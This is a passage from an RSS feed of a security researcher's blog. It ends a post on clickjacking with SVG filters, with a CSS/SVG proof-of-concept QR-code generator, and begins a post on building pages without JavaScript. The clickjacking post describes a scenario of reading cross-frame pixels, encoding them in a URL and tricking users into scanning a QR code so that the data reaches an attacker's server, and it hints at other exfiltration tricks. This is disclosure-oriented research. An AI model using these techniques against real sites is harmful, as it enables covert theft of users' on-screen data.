offset=&#39;0%&#39; /&amp;gt;&amp;lt;stop style=&#39;stop-color:%23000000&#39; offset=&#39;100%&#39; /&amp;gt;&amp;lt;/linearGradient&amp;gt;&amp;lt;/defs&amp;gt; &amp;lt;rect fill=&#39;url(%23by)&#39; x=&#39;0.5&#39; y=&#39;0.5&#39; width=&#39;128&#39; height=&#39;128&#39; /&amp;gt; &amp;lt;rect style=&#39;mix-blend-mode:screen&#39; fill=&#39;url(%23bx)&#39; x=&#39;0.5&#39; y=&#39;0.5&#39; width=&#39;128&#39; height=&#39;128&#39; /&amp;gt; &amp;lt;/svg&amp;gt;&#34; x=&#34;0&#34; y=&#34;0&#34; width=&#34;128&#34; height=&#34;128&#34; result=&#34;scale2x&#34;&gt;&lt;/feImage&gt;&#xA;&lt;feDisplacementMap&#xD;&#xA;in=qrCode&#xD;&#xA;scale=&#34;128&#34;&#xD;&#xA;xChannelSelector=&#34;R&#34;&#xD;&#xA;yChannelSelector=&#34;G&#34; /&gt;&#xA;&lt;feDisplacementMap&#xD;&#xA;in2=scale2x&#xD;&#xA;scale=&#34;128&#34;&#xD;&#xA;xChannelSelector=&#34;R&#34;&#xD;&#xA;yChannelSelector=&#34;G&#34; /&gt;&#xA;&lt;feTile x=0 y=0 width=96 height=96 /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;  @property --seconds {&#xD;&#xA;    syntax: &#39;&lt;integer&gt;&#39;;&#xD;&#xA;    inherits: true;&#xD;&#xA;    initial-value: 0;&#xD;&#xA;  }&#xD;&#xA;  @keyframes seconds {&#xD;&#xA;    from {&#xD;&#xA;      --seconds: 0;&#xD;&#xA;    }&#xD;&#xA;    to {&#xD;&#xA;      --seconds: 9999;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  qr-demo {&#xD;&#xA;    contain: strict;&#xD;&#xA;    display: block;&#xD;&#xA;    width: 96px;&#xD;&#xA;    height: 96px;&#xD;&#xA;    overflow: clip;&#xD;&#xA;    --seconds: 0;&#xD;&#xA;    animation: 9999s steps(9999, jump-end) infinite seconds;&#xD;&#xA;    [d1] {&#xD;&#xA;      --in: mod(var(--seconds), 10);&#xD;&#xA;      --off: 132px;&#xD;&#xA;    }&#xD;&#xA;    [d2] {&#xD;&#xA;      --in: mod(round(down, var(--seconds) / 10), 10);&#xD;&#xA;      --off: 124px;&#xD;&#xA;    }&#xD;&#xA;    [d3] {&#xD;&#xA;      --in: mod(round(down, var(--seconds) / 100), 10);&#xD;&#xA;      --off: 116px;&#xD;&#xA;    }&#xD;&#xA;    [d4] {&#xD;&#xA;      --in: mod(round(down, var(--seconds) / 1000), 10);&#xD;&#xA;      --off: 108px;&#xD;&#xA;    }&#xD;&#xA;    [b1] {&#xD;&#xA;      --val: mod(var(--in), 2);&#xD;&#xA;      top: calc(var(--off) - 16px + 3px);&#xD;&#xA;    }&#xD;&#xA;    [b2] {&#xD;&#xA;      --val: mod(round(down, var(--in) / 2), 2);&#xD;&#xA;      top: calc(var(--off) - 16px + 2px);&#xD;&#xA;    }&#xD;&#xA;    [b3] {&#xD;&#xA;      --val: mod(round(down, var(--in) / 4), 2);&#xD;&#xA;      top: calc(var(--off) - 16px + 1px);&#xD;&#xA;    }&#xD;&#xA;    [b4] {&#xD;&#xA;      --val: mod(round(down, var(--in) / 8), 2);&#xD;&#xA;      top: calc(var(--off) - 16px + 0px);&#xD;&#xA;    }&#xD;&#xA;    qr-bit {&#xD;&#xA;      position:absolute;&#xD;&#xA;      display:block;&#xD;&#xA;      width:8px;&#xD;&#xA;      height:1px;&#xD;&#xA;      background: hsl(0 0 calc(100% * var(--val)));&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  @media not (resolution: 1x) {&#xD;&#xA;    bad-scaling {&#xD;&#xA;      color: red;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  @media (pointer: coarse) {&#xD;&#xA;    bad-phone {&#xD;&#xA;      color: red;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  @-moz-document url-prefix() {&#xD;&#xA;    fire-fox {&#xD;&#xA;      color: red;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  /* detect p3 (just using the media query doesn&#39;t work on mac with sRGB) */&#xD;&#xA;  bad-color {&#xD;&#xA;    position: relative;&#xD;&#xA;    &amp;::after {&#xD;&#xA;      content: &#39;&#39;;&#xD;&#xA;      position: absolute;&#xD;&#xA;      inset: 0;&#xD;&#xA;      background: linear-gradient(#FF0,#FF0), color(display-p3 1 1 0);&#xD;&#xA;      background-blend-mode: difference;&#xD;&#xA;      filter: saturate(100) hue-rotate(90deg);&#xD;&#xA;      mix-blend-mode: lighten;&#xD;&#xA;      pointer-events: none;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;This is a demo that displays a QR code telling you how many seconds you&amp;rsquo;ve been on this page for. It&amp;rsquo;s a bit fiddly, so if it doesn&amp;rsquo;t work make sure that you aren&amp;rsquo;t using any &lt;bad-scaling&gt;display scaling&lt;/bad-scaling&gt; or &lt;bad-color&gt;a custom color profile&lt;/bad-color&gt;. On Windows you can toggle the &lt;em&gt;Automatically manage color for apps&lt;/em&gt; setting, and on a Mac you can set the color profile to sRGB for it to work.&lt;/p&gt;&#xA;&lt;p&gt;This demo &lt;bad-phone&gt;does not work on mobile devices&lt;/bad-phone&gt;. And also, for the time being, &lt;fire-fox&gt;it only works in Chromium-based browsers&lt;/fire-fox&gt;, but I believe it could be made to work in Firefox too.&lt;/p&gt;&#xA;&lt;p&gt;Similarly, in a real attack, the scaling and color profile issues could be worked around using some JavaScript tricks or simply by implementing the filter a bit differently - this here is just a proof of concept that&amp;rsquo;s a bit rough around the edges.&lt;/p&gt;&#xA;&lt;p&gt;But yeah, that&amp;rsquo;s a QR code generator built inside an SVG filter!&lt;/p&gt;&#xA;&lt;p&gt;Took me a while to make, but I didn&amp;rsquo;t want to write about it just being &amp;ldquo;theoretically possible&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;attack-scenario&#34;&gt;Attack scenario&lt;/h3&gt;&#xA;&lt;p&gt;So the attack scenario with the QR code is that you&amp;rsquo;d read pixels from a frame, process them to extract the data you want, encode them into a URL that looks something like &lt;em&gt;https://lyra.&lt;span&gt;horse&lt;/span&gt;/?ref=c3VwZXIgc2VjcmV0IGluZm8&lt;/em&gt; and render it as a QR code.&lt;/p&gt;&#xA;&lt;p&gt;Then, you prompt the user to scan the QR code for whatever reason (eg anti-bot check). To them, the URL will seem like just a normal URL with a tracking ID or something in it.&lt;/p&gt;&#xA;&lt;p&gt;Once the user opens the URL, your server gets the request and receives the data from the URL.&lt;/p&gt;&#xA;&lt;h2 id=&#34;and-so-on&#34;&gt;And so on..&lt;/h2&gt;&#xA;&lt;p&gt;There are so many ways to make use of this technique I won&amp;rsquo;t have time to go over them all in this post. Some examples would be reading text by using the difference blend mode, or exfiltrating data by making the user click on certain parts of the screen.&lt;/p&gt;&#xA;&lt;p&gt;You could even insert data from the outside to have a fake mouse cursor inside the SVG that shows the &lt;span style=&#34;cursor:pointer&#34;&gt;&lt;i&gt;pointer&lt;/i&gt; cursor&lt;/span&gt; and reacts to fake buttons inside your SVG to make the exfiltration more realistic.&lt;/p&gt;&#xA;&lt;p&gt;Or you could code up attacks with CSS and SVG where CSP doesn&amp;rsquo;t allow for any JS.&lt;/p&gt;&#xA;&lt;p&gt;Anyways, this post is long as is, so I&amp;rsquo;ll leave figuring out these techniques as homework.&lt;/p&gt;&#xA;&lt;h2 id=&#34;novel-technique&#34;&gt;Novel technique&lt;/h2&gt;&#xA;&lt;p&gt;This is the first time in my security research I&amp;rsquo;ve found a completely new technique!&lt;/p&gt;&#xA;&lt;p&gt;I introduced it briefly at &lt;a href=&#34;https://youtu.be/INgS4IipEhU?t=1516&#34;&gt;my BSides talk in September&lt;/a&gt;, and this post here is a more in-depth overview of the technique and how it can be used.&lt;/p&gt;&#xA;&lt;p&gt;Of course, you can never know 100% for sure that a specific type of attack has never been found by anyone else, but my extensive search of existing security research has come up with nothing, so I suppose I can crown myself as the researcher who discovered it?&lt;/p&gt;&#xA;&lt;p&gt;Here&amp;rsquo;s some previous research I&amp;rsquo;ve found:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://link.springer.com/article/10.1007/s10207-018-0423-3&#34;&gt;You click, I steal: analyzing and detecting click hijacking attacks in web pages&lt;/a&gt;,&lt;br&gt;&#xA;&lt;a href=&#34;https://www.usenix.org/system/files/conference/woot12/woot12-final16.pdf&#34;&gt;On the fragility and limitations of current Browser-provided Clickjacking&#xA;protection schemes&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The papers mention SVG filters in clickjacking attacks, but only in the context of obscuring the underlying elements, not running logic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://media.blackhat.com/us-13/US-13-Stone-Pixel-Perfect-Timing-Attacks-with-HTML5-WP.pdf&#34;&gt;Pixel Perfect Timing - Attacks with HTML5&lt;/a&gt;,&lt;br&gt;&#xA;&lt;a href=&#34;https://issues.chromium.org/issues/40077679&#34;&gt;&#xA;Security: SVG Filter Timing Attack&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Research on reading pixels through SVG filter timing attacks, which is a technique that is mitigated in modern browsers.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://ronmasas.com/posts/the-human-side-channel&#34;&gt;The Human Side Channel&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Some pretty cool clickjacking techniques, though no multi-step attacks or SVG logic.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://github.com/tom-p-reichel/svg-is-turing-complete&#34;&gt;SVG is turing-complete-ish&lt;/a&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Another example of logic gates in SVG I found after writing my blog. It&amp;rsquo;s fun because it comes with &lt;a href=&#34;https://old.reddit.com/r/programming/comments/d4xcgs/svg_is_turing_complete/&#34;&gt;reddit&lt;/a&gt; and &lt;a href=&#34;https://news.ycombinator.com/item?id=20980837&#34;&gt;hn&lt;/a&gt; threads - I particularly like the comment asking about whether this turing completeness is useful or just a fun fact, which got a reply confirming the latter. &lt;span style=&#34;font-size:101%&#34;&gt;I like turning fun facts into vulnerabilities ^^.&lt;/span&gt;&lt;/li&gt;&#xA;&lt;li&gt;Note that whether SVG filters are actually turing complete is questionable because filters are implemented in constant-time and can&amp;rsquo;t run in a loop. This doesn&amp;rsquo;t mean they can&amp;rsquo;t be turing complete, but it also doesn&amp;rsquo;t prove that they are.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I don&amp;rsquo;t think &lt;em&gt;me&lt;/em&gt; discovering this technique was just luck though. I have a history of seeing things such as CSS as programming languages to exploit and be creative with. It wasn&amp;rsquo;t a stretch for me to see SVG filters as a programming language either.&lt;/p&gt;&#xA;&lt;p&gt;That, and my overlap between security research and creative projects - I often blur the lines between the two, which is what &lt;a href=&#34;https://lyra.horse/antonymph/&#34;&gt;Antonymph&lt;/a&gt; was born out of.&lt;/p&gt;&#xA;&lt;p id=aws&gt;In any case, &lt;s-l&gt;it feels&lt;/s-l&gt; &lt;span&gt;&lt;m-m&gt;&#xD;&#xA;  &lt;w-w style=--r:-8deg;--x:-4;--y:-5&gt;yay&lt;/w-w&gt;&#xD;&#xA;  &lt;w-w style=--r:4deg;--x:3;--y:14&gt;:3&lt;/w-w&gt;&#xD;&#xA;  &lt;w-w style=--r:-4deg;--x:15;--y:15&gt;woof&lt;/w-w&gt;&#xD;&#xA;  &lt;w-w style=--r:4deg;--x:12;--y:-6&gt;yippie&lt;/w-w&gt;&#xD;&#xA;  &lt;w-w style=--r:6deg;--x:38;--y:16&gt;waow&lt;/w-w&gt;&#xD;&#xA;&lt;/m-m&gt;awesome&lt;m-m&gt;&#xD;&#xA;  &lt;w-w style=--r:-8deg;--x:-32;--y:-5&gt;meow&lt;/w-w&gt;&#xD;&#xA;  &lt;w-w style=--r:8deg;--x:-8;--y:-5&gt;awrf&lt;/w-w&gt;&#xD;&#xA;&lt;/m-m&gt;&lt;/span&gt; &lt;s-r&gt;to discover&lt;/s-r&gt; something like this.&lt;/p&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  #aws {&#xD;&#xA;    s-l,s-r {&#xD;&#xA;      display: inline-block;&#xD;&#xA;      transition: transform 0.3s;&#xD;&#xA;    }&#xD;&#xA;    s-l { transform-origin: 0% 50% }&#xD;&#xA;    s-r { transform-origin: 100% 50% }&#xD;&#xA;    m-m{position:relative;w-w{position:absolute;font-size:50%;&#xD;&#xA;    rotate:var(--r);translate:calc(var(--x) * 1px) calc(var(--y) * 1px);}}&#xD;&#xA;    span {&#xD;&#xA;      scale: 1;&#xD;&#xA;      display: inline-block;&#xD;&#xA;      transition: scale 0.3s, translate 0.3s;&#xD;&#xA;      transform-origin: 50% 60%;&#xD;&#xA;    }&#xD;&#xA;    transition: color 0.3s;&#xD;&#xA;    position: relative;&#xD;&#xA;    z-index: 1;&#xD;&#xA;    &amp;:hover {&#xD;&#xA;      color: #000;&#xD;&#xA;      span { scale: 1.5 }&#xD;&#xA;      s-l { transform: scaleX(0.69) }&#xD;&#xA;      s-r { transform: scaleX(0.80) }&#xD;&#xA;      &amp;::after {&#xD;&#xA;        visibility: visible;&#xD;&#xA;        opacity: 1;&#xD;&#xA;        transition: opacity 1s;&#xD;&#xA;        @starting-style {&#xD;&#xA;          opacity:0;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &amp;::after {&#xD;&#xA;      visibility: hidden;&#xD;&#xA;      content: &#34;&#34;;&#xD;&#xA;      position: fixed;&#xD;&#xA;      inset: 0;&#xD;&#xA;      background: #FFF4;&#xD;&#xA;      backdrop-filter: blur(0.5px);&#xD;&#xA;      pointer-events: none;&#xD;&#xA;      opacity: 0;&#xD;&#xA;      z-index: -1;&#xD;&#xA;      transition: opacity 1s, visibility 1s allow-discrete;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;h2 id=&#34;afterword&#34;&gt;afterword&lt;/h2&gt;&#xA;&lt;p&gt;whoa this post took such a long time for me to get done!&lt;/p&gt;&#xA;&lt;p&gt;i started work on it in july, and was expecting to release it alongside &lt;a href=&#34;https://youtu.be/INgS4IipEhU&#34;&gt;my CSS talk&lt;/a&gt; in september, but it has taken me so much longer than expected to actually finish this thing. i wanted to make sure it was a good in-depth post, rather than something i just get out as soon as possible.&lt;/p&gt;&#xA;&lt;p&gt;unlike my previous posts, i did unfortunately have to break my trend of using no images, since i needed a few data URIs within the SVG filters for demos. still, no images anywhere else in the post, no javascript, and just 42kB (gzip) of handcrafted html/css/svg.&lt;/p&gt;&#xA;&lt;p&gt;also, i usually hide a bunch of easter eggs in my post that link to stuff i&amp;rsquo;ve enjoyed recently, but i have a couple links i didn&amp;rsquo;t want to include without content warnings. &lt;a href=&#34;https://youtu.be/UBdBoWAtLNI&#34;&gt;finding responsibility&lt;/a&gt; is a pretty dark talk about the ethics of making sure your work won&amp;rsquo;t end up killing people, and &lt;a href=&#34;https://youtu.be/rQHYelsNgtU&#34;&gt;youre the one ive always wanted&lt;/a&gt; is slightly nsfw doggyhell vent art.&lt;/p&gt;&#xA;&lt;p&gt;btw i&amp;rsquo;ll soon be giving talks at &lt;a href=&#34;https://events.ccc.de/en/category/39c3/&#34;&gt;39c3&lt;/a&gt; and &lt;a href=&#34;https://disobey.fi/2026/&#34;&gt;disobey 2026&lt;/a&gt;! the 39c3 one is titled &amp;ldquo;&lt;a href=&#34;https://fahrplan.events.ccc.de/congress/2025/fahrplan/event/css-clicker-training-making-games-in-a-styling-language&#34;&gt;css clicker training&lt;/a&gt;&amp;rdquo; and will be about css crimes and making games in css. and the disobey one is the same talk as the bsides one about using css to hack stuff and get bug bounties, but i&amp;rsquo;ll make sure to throw some extra content in there to keep it fun.&lt;/p&gt;&#xA;&lt;p&gt;see y&amp;rsquo;all around!!&lt;/p&gt;&#xA;&lt;p&gt;&amp;lt;3&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: I you&amp;rsquo;re making content (articles, videos etc) based on this post, feel free to &lt;a href=&#34;https://lyra.horse/#:~:text=socials&#34;&gt;reach out&lt;/a&gt; to me to ask for questions or feedback.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Discuss this post on:&lt;/strong&gt; &lt;a href=&#34;https://twitter.com/rebane2001/status/1996581146662998516&#34;&gt;twitter&lt;/a&gt;, &lt;a href=&#34;https://infosec.exchange/@rebane2001/115661669658436967&#34;&gt;mastodon&lt;/a&gt;, &lt;a href=&#34;https://lobste.rs/s/omnyrf/svg_filters_clickjacking_2_0&#34;&gt;lobsters&lt;/a&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;footnotes&#34; role=&#34;doc-endnotes&#34;&gt;&#xA;&lt;hr&gt;&#xA;&lt;ol&gt;&#xA;&lt;li id=&#34;fn:1&#34;&gt;&#xA;&lt;p&gt;What I actually had after an hour was &lt;a href=&#34;https://gist.github.com/rebane2001/8ba35ad6e1b17c4cb5b2b2431d9e992c/revisions#diff-106c46aeca8c98d010362a57e574d9a6543362f34bb81c47081cece6fcbbbe48&#34;&gt;this&lt;/a&gt;, the Codepen link is an updated version that I added controls to later on.&amp;#160;&lt;a href=&#34;#fnref:1&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:2&#34;&gt;&#xA;&lt;p&gt;This is a fancy way of saying it does a basic displacement of pixels.&amp;#160;&lt;a href=&#34;#fnref:2&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:3&#34;&gt;&#xA;&lt;p&gt;&amp;hellip;or After Effects/Blender/Fusion etc user. Or anything else computer graphics.&amp;#160;&lt;a href=&#34;#fnref:3&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:4&#34;&gt;&#xA;&lt;p&gt;&lt;strong&gt;result = k1*i1*i2 + k2*i1 + k3*i2 + k4&lt;/strong&gt; in programmer language (I just couldn&amp;rsquo;t resist trying out the &amp;lt;math&amp;gt; tag for fun).&amp;#160;&lt;a href=&#34;#fnref:4&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:5&#34;&gt;&#xA;&lt;p&gt;The multiplication in this case is kind of the opposite of what you&amp;rsquo;d expect from the &amp;ldquo;multiply&amp;rdquo; blend mode - things will get lighter, not darker.&amp;#160;&lt;a href=&#34;#fnref:5&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:6&#34;&gt;&#xA;&lt;p&gt;It&amp;rsquo;s not possible to get the pixel data out of a SVG filter as they&amp;rsquo;re implemented in constant-time. If you &lt;em&gt;can&lt;/em&gt; find a way to retrieve the data then it&amp;rsquo;s a browser bug and you can most likely get bounty for it. Happy to collaborate if you&amp;rsquo;d like to turn such a finding into a working proof of concept for a report :).&amp;#160;&lt;a href=&#34;#fnref:6&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:7&#34;&gt;&#xA;&lt;p&gt;We can actually pass the current time into an SVG filter, but we can&amp;rsquo;t do attacks such as &amp;ldquo;if a pixel changes, wait 1 second and then show a dialog&amp;rdquo; unless we can piggyback off an animation in the source frame.&amp;#160;&lt;a href=&#34;#fnref:7&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:8&#34;&gt;&#xA;&lt;p&gt;Since SVG filters are implemented in constant-time, they become pretty resource-intensive for complex filters on high-resolution targets. One optimization would be to have a full-resolution filter just for picking out the pixels, then a tiny-resolution backdrop-filter to run all the logic, and then another full-resolution filter to display the attack.&amp;#160;&lt;a href=&#34;#fnref:8&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:9&#34;&gt;&#xA;&lt;p&gt;¬ - NOT, ∧ - AND, ∨ - OR, ⊕ - XOR etc, see &lt;a href=&#34;https://en.wikipedia.org/wiki/List_of_logic_symbols&#34;&gt;List of logic symbols&lt;/a&gt;.&amp;#160;&lt;a href=&#34;#fnref:9&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:10&#34;&gt;&#xA;&lt;p&gt;This is kind of similar to how I reported the &lt;a href=&#34;https://lyra.horse/blog/2024/09/using-youtube-to-steal-your-files/&#34;&gt;Docs/YouTube/Slides chain&lt;/a&gt; right before they 5x&amp;rsquo;d the VRP rewards. I seem to have the worst luck with timing my reports&amp;hellip;&amp;#160;&lt;a href=&#34;#fnref:10&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li id=&#34;fn:11&#34;&gt;&#xA;&lt;p&gt;I released my QR code generator in 2021, making it the earliest publicly released Minecraft QR code generator. I know, however, that DavidJR was independently working on a QR code generator at the same time as I was, eventually &lt;a href=&#34;https://www.youtube.com/watch?v=jKwrh-l31yY&#34;&gt;releasing it in 2023&lt;/a&gt;. Then there&amp;rsquo;s one from Sep 2024 &lt;a href=&#34;https://www.youtube.com/watch?v=CcD7pqCDSS0&#34;&gt;by 37meliodas&lt;/a&gt;, and lastly there&amp;rsquo;s the probably most well-known one &lt;a href=&#34;https://www.youtube.com/watch?v=ZizmvuZ3EFk&#34;&gt;by mattbatwings&lt;/a&gt; from Dec 2024. The latter has an awesome video explaining everything in-depth, so I definitely recommend checking it out if you&amp;rsquo;re interested in Minecraft redstone.&amp;#160;&lt;a href=&#34;#fnref:11&#34; class=&#34;footnote-backref&#34; role=&#34;doc-backlink&#34;&gt;&amp;#x21a9;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;/div&gt;&#xA;</description>
    </item>
    <item>
      <title>You no longer need JavaScript</title>
      <link>https://lyra.horse/blog/2025/08/you-dont-need-js/</link>
      <pubDate>Thu, 28 Aug 2025 20:40:00 +0000</pubDate>
      <guid>https://lyra.horse/blog/2025/08/you-dont-need-js/</guid>
      <description>&lt;p&gt;So much of the web these days is ruined by the bloat that is modern JavaScript frameworks. React apps that take several seconds to load. NextJS sites that throw random hydration errors. The &lt;em&gt;node_modules&lt;/em&gt; folder that takes up gigabytes on your hard drive.&lt;/p&gt;&#xA;&lt;p&gt;It&amp;rsquo;s awful. And you don&amp;rsquo;t need it.&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;  #cover-art {&#xD;&#xA;    background: #282828;&#xD;&#xA;    overflow: clip;&#xD;&#xA;    div {&#xD;&#xA;      transform: translate(-16px,35px) rotate(355deg) scale(1.4);&#xD;&#xA;      translate: 22% 0;&#xD;&#xA;      color-scheme: dark;&#xD;&#xA;      height: 300px;&#xD;&#xA;      font-family: system-ui, sans-serif;&#xD;&#xA;      font-size: 12px;&#xD;&#xA;      color: #E3E3E3;&#xD;&#xA;      width: 75%;&#xD;&#xA;      ::selection {&#xD;&#xA;        color: #000;&#xD;&#xA;        background: #A8C7FA;&#xD;&#xA;      }&#xD;&#xA;      dev-icon {&#xD;&#xA;        display: inline-block;&#xD;&#xA;        width: 8px;&#xD;&#xA;        height: 8px;&#xD;&#xA;        margin-top: 1px;&#xD;&#xA;        margin-right: 4px;&#xD;&#xA;        border: 2px solid;&#xD;&#xA;        border-radius: 2px;&#xD;&#xA;        &amp;::after {&#xD;&#xA;          text-align: center;&#xD;&#xA;          width: 8px;&#xD;&#xA;          height: 8px;&#xD;&#xA;          font-size-adjust: 0.5;&#xD;&#xA;        }&#xD;&#xA;        &amp;[html] {&#xD;&#xA;          color: #7CACF8;&#xD;&#xA;          &amp;::after {&#xD;&#xA;            content: &#39;----\A ----\A ----\A --&#39;;&#xD;&#xA;            text-align: left;&#xD;&#xA;            white-space: pre;&#xD;&#xA;            position: absolute;&#xD;&#xA;            translate: 1px 0.5px;&#xD;&#xA;            line-height: 1.5px;&#xD;&#xA;            font-size: 5px;&#xD;&#xA;            font-weight: 900;&#xD;&#xA;            letter-spacing: -1px;&#xD;&#xA;            font-size-adjust: 0.5;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        &amp;[font] {&#xD;&#xA;          color: #36A7C7;&#xD;&#xA;          &amp;::after {&#xD;&#xA;            content: &#39;T&#39;;&#xD;&#xA;            position: absolute;&#xD;&#xA;            line-height: 8px;&#xD;&#xA;            font-size: 8px;&#xD;&#xA;            font-weight: 800;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        &amp;[css] {&#xD;&#xA;          color: #BB82E3;&#xD;&#xA;          &amp;::after {&#xD;&#xA;            content: &#39;🖌️&#39;;&#xD;&#xA;            position: absolute;&#xD;&#xA;            line-height: 8px;&#xD;&#xA;            font-size: 6px;&#xD;&#xA;            font-weight: 800;&#xD;&#xA;            background: #8E66AB;&#xD;&#xA;            color: #0001;&#xD;&#xA;            background-clip: text;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        &amp;[js] {&#xD;&#xA;          color: #E38053;&#xD;&#xA;          &amp;::after {&#xD;&#xA;            content: &#39;&lt;&gt;&#39;;&#xD;&#xA;            position: absolute;&#xD;&#xA;            line-height: 8px;&#xD;&#xA;            font-size: 6px;&#xD;&#xA;            font-weight: 800;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      table {&#xD;&#xA;        --b: #5E5E5E;&#xD;&#xA;        thead {&#xD;&#xA;          border: 1px solid var(--b);&#xD;&#xA;          td {&#xD;&#xA;            padding: 5px 4px;&#xD;&#xA;          }&#xD;&#xA;        }&#xD;&#xA;        width: 100%;&#xD;&#xA;        background: #28292A;&#xD;&#xA;        border-collapse: collapse;&#xD;&#xA;        tr {&#xD;&#xA;          &amp;:nth-child(2n) {&#xD;&#xA;            background: #1F1F1F;&#xD;&#xA;          }&#xD;&#xA;          &amp;:hover {&#xD;&#xA;            background: #3D3D3D;&#xD;&#xA;          }&#xD;&#xA;          cursor: default;&#xD;&#xA;        }&#xD;&#xA;        td {&#xD;&#xA;          border-left: 1px solid var(--b);&#xD;&#xA;          white-space: nowrap;&#xD;&#xA;          padding: 1px 4px;&#xD;&#xA;        }&#xD;&#xA;        @media (width &lt; 640px) { td:nth-child(2) { display:none } }&#xD;&#xA;        @media (width &lt; 480px) { td:nth-child(3) { display:none } }&#xD;&#xA;        @media (width &lt; 380px) { td:has(dev-icon[font]) span { display:none } }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;DIV&gt;&lt;art-frame flex id=&#34;cover-art&#34; aria-label=&#34;Cover art of the Chrome DevTools showing a bunch of requests to assets, most of which are JavaScript files&#34; role=&#34;img&#34;&gt;&#xD;&#xA;&lt;div&gt;&#xD;&#xA;&lt;table&gt;&#xD;&#xA;  &lt;thead&gt;&#xD;&#xA;    &lt;tr&gt;&#xD;&#xA;      &lt;td&gt;Name&lt;/td&gt;&#xD;&#xA;      &lt;td&gt;Status&lt;/td&gt;&#xD;&#xA;      &lt;td&gt;Type&lt;/td&gt;&#xD;&#xA;      &lt;td&gt;Size&lt;/td&gt;&#xD;&#xA;      &lt;td&gt;Time&lt;/td&gt;&#xD;&#xA;    &lt;/tr&gt;&#xD;&#xA;  &lt;/thead&gt;&#xD;&#xA;  &lt;tbody&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon html&gt;&lt;/dev-icon&gt;app&lt;/td&gt;&lt;td&gt;200&lt;/td&gt;&lt;td&gt;document&lt;/td&gt;&lt;td&gt;153.8 kB&lt;/td&gt;&lt;td&gt;51 ms&lt;/td&gt;&lt;/tr&gt;&#xD;&#xA;    &lt;tr&gt;&lt;td&gt;&lt;dev-icon 